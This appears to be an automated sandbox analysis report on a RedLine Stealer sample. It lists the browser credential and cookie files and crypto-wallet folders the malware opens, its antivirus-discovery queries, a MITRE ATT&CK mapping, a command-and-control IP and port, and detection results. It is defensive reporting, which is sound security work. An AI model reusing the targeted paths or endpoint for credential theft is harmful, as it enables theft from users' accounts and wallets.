TVSedBLpSfsvQj8BDp18kmZ3ex54YP0+Gs0yuOc0oHyahpuklKSN9DNVuBZhWH/uMHS1PAuQ5a2Lju9F/SWeKm7prBc0jVP84iPJxdnHVJ/HDDDbXL54Z89qdU0Vcin6gqmwXrJjGgP4IA8IR19qewIwTnUCQdrTZp1GW0u9j1R6sUgPUrm2c5cvXl9oot3E2Yi+lA6TVxs+wzTv0RyoJlnAb/LVyrQ+JXXkt08JQiqZojt7zmAq6A6TMAI3d99XjZOb1H2Ej05cPkbrRi3jsQ/1cA/+FiEaSdYURoSjyCbui7SR58sFKCEAn3HKH4uwm3eDW6eeqSVnn3vRu5S+ZPUrZgKYs8lgl1/fYieGCfbdnVWn1in27qZ19Yfhv4WKpf3SAPgywfR4sYK3wdc8VGoHmK3TWFL5jmOUHB49Ogy2jYoedRvh3h9D96fGhUBv0WbVKW3Fxq4ViXVL2x9NKNgA+vC8A5zUncE8H2TafulfEOSRqFccYu86ht5uc0nLgpiCrzoulmnAYZLfk4zbvX51WQrYMsc8ORmzRWmqqLFXZVINxxVKaxrpheUhYRfRx54cZnzZZxdMOYT0VhpWbZdIcVFHnb3QBFJEgxwyQpCTte0yQjzn7uCUZsuA+iYIJO4a+Hmq+9ONtmOcMMYl7TbktlwpTMf366yxqm+uPbWY4CHOTnXrwGvPjnt7OfVwg2HHr8jHcJ5uzn/JOx/BvEfztbLR
Source: tmp973A.tmp.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: tmp973A.tmp.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: tmp973A.tmp.0.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: tmp973A.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: tmp973A.tmp.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: tmp973A.tmp.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: tmp973A.tmp.0.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: tmp973A.tmp.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: tmp973A.tmp.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: tmp973A.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: tmp973A.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: tmp973A.tmp.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Users\user\Desktop\EpCrfIUgyF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: EpCrfIUgyF.exe, 00000000.00000002.2215742502.0000000006BB6000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: EpCrfIUgyF.exe, type: SAMPLE
Source: Yara match	File source: 0.0.EpCrfIUgyF.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EpCrfIUgyF.exe PID: 4024, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\EpCrfIUgyF.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: EpCrfIUgyF.exe, type: SAMPLE
Source: Yara match	File source: 0.0.EpCrfIUgyF.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EpCrfIUgyF.exe PID: 4024, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: EpCrfIUgyF.exe, type: SAMPLE
Source: Yara match	File source: 0.0.EpCrfIUgyF.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.2080564921.0000000000FF2000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: EpCrfIUgyF.exe PID: 4024, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	2 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
EpCrfIUgyF.exe	87%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
EpCrfIUgyF.exe	71%	Virustotal		Browse
EpCrfIUgyF.exe	100%	Avira	HEUR/AGEN.1305500
EpCrfIUgyF.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
api.ip.sb	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://ipinfo.io/ip%appdata%	0%	URL Reputation	safe
https://ipinfo.io/ip%appdata%	0%	URL Reputation	safe
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnectResponse	0%	URL Reputation	safe
http://schemas.datacontract.org/2004/07/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettings	0%	URL Reputation	safe
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://tempuri.org/Endpoint/CheckConnect	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdateResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironment	0%	URL Reputation	safe
http://tempuri.org/Endpoint/SetEnvironmentResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdates	0%	URL Reputation	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://api.ipify.orgcookies//settinString.Removeg	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
http://tempuri.org/Endpoint/GetUpdatesResponse	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	0%	URL Reputation	safe
http://tempuri.org/Endpoint/VerifyUpdate	0%	URL Reputation	safe
http://tempuri.org/0	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/actor/next	0%	URL Reputation	safe
http://tempuri.org/	0%	Avira URL Cloud	safe
http://207.32.219.79:40826t-	0%	Avira URL Cloud	safe
207.32.219.79:40826	0%	Avira URL Cloud	safe
http://207.32.219.79:40826	0%	Avira URL Cloud	safe
http://207.32.219.79:40826/	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://tempuri.org/	1%	Virustotal		Browse
http://207.32.219.79:40826/	0%	Virustotal		Browse
http://207.32.219.79:40826	0%	Virustotal		Browse
207.32.219.79:40826	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
207.32.219.79:40826	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://207.32.219.79:40826/	true	0%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	EpCrfIUgyF.exe	false	URL Reputation: safe URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtab	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/CheckConnectResponse	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.datacontract.org/2004/07/	EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000036C0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettings	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	EpCrfIUgyF.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/	EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironment	EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000036C0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://207.32.219.79:40826t-	EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000347A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdates	EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000347A000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003489000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033A0000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000033C8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	URL Reputation: safe	unknown
https://api.ipify.orgcookies//settinString.Removeg	EpCrfIUgyF.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://207.32.219.79:40826	EpCrfIUgyF.exe, 00000000.00000002.2211287677.000000000347A000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp, EpCrfIUgyF.exe, 00000000.00000002.2211287677.00000000036C0000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdate	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/0	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmpBB19.tmp.0.dr, tmpBB5D.tmp.0.dr, tmpBB18.tmp.0.dr, tmp835D.tmp.0.dr, tmpBB08.tmp.0.dr, tmpF2BA.tmp.0.dr, tmpBB2A.tmp.0.dr, tmpBB4B.tmp.0.dr, tmpBB5C.tmp.0.dr, tmp834C.tmp.0.dr, tmpBB3A.tmp.0.dr, tmpF2CA.tmp.0.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/actor/next	EpCrfIUgyF.exe, 00000000.00000002.2211287677.0000000003351000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
207.32.219.79	unknown	United States		14315	1GSERVERSUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502245
Start date and time:	2024-08-31 18:36:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 27s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EpCrfIUgyF.exe renamed because original name is a hash value
Original Sample Name:	ac60f7a9e32582940c6b0feea4461324.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/45@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 23 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe Stop behavior analysis, all processes terminated

Warnings

Exclude process from analysis (whitelisted): dllhost.exe
Excluded IPs from analysis (whitelisted): 104.26.13.31, 172.67.75.172, 104.26.12.31, 52.165.165.26
Excluded domains from analysis (whitelisted): api.ip.sb.cdn.cloudflare.net, slscr.update.microsoft.com, sls.update.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:36:59	API Interceptor	41x Sleep call for process: EpCrfIUgyF.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1GSERVERSUS	04cde81ac938706771fa9fe936ee8f79fe7e079973098.exe	Get hash	malicious	RedLine, Xmrig	Browse	142.202.242.45
	Facturation.exe	Get hash	malicious	Doenerium	Browse	104.251.123.67
	SpelQ3Xvt7.exe	Get hash	malicious	AveMaria, UACMe	Browse	142.202.242.177
	http://khalidhost.loseyourip.com:777/dddd.mp4	Get hash	malicious	Unknown	Browse	207.32.217.25
	http://khalidhost.loseyourip.com:777/dddd.mp4	Get hash	malicious	Unknown	Browse	207.32.217.25
	arm4-20240706-0012.elf	Get hash	malicious	Mirai	Browse	207.32.216.16
	08OyZEWGbf.exe	Get hash	malicious	Xmrig	Browse	142.202.242.43
	D9yWJTtsiS.exe	Get hash	malicious	Amadey, Xmrig	Browse	142.202.242.45
	zTMEFv0Dh3.exe	Get hash	malicious	Xmrig	Browse	142.202.242.43
	https://mjwd.glue.oystergardening.net	Get hash	malicious	Unknown	Browse	142.202.240.61

Process:	C:\Users\user\Desktop\EpCrfIUgyF.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHjHKMHsLHG1qU:vq5qxqdqolqztYqh3oPtI6mq7qoT5DqE
MD5:	E4EF5C20267028A9BE2585EE60444BC2
SHA1:	342F42E587A76DE8168B55650B3759673ECF2B8B
SHA-256:	A52B1E6A998CC2A691085BE499B60839C462091C94CD72BC050BB9859544EA94
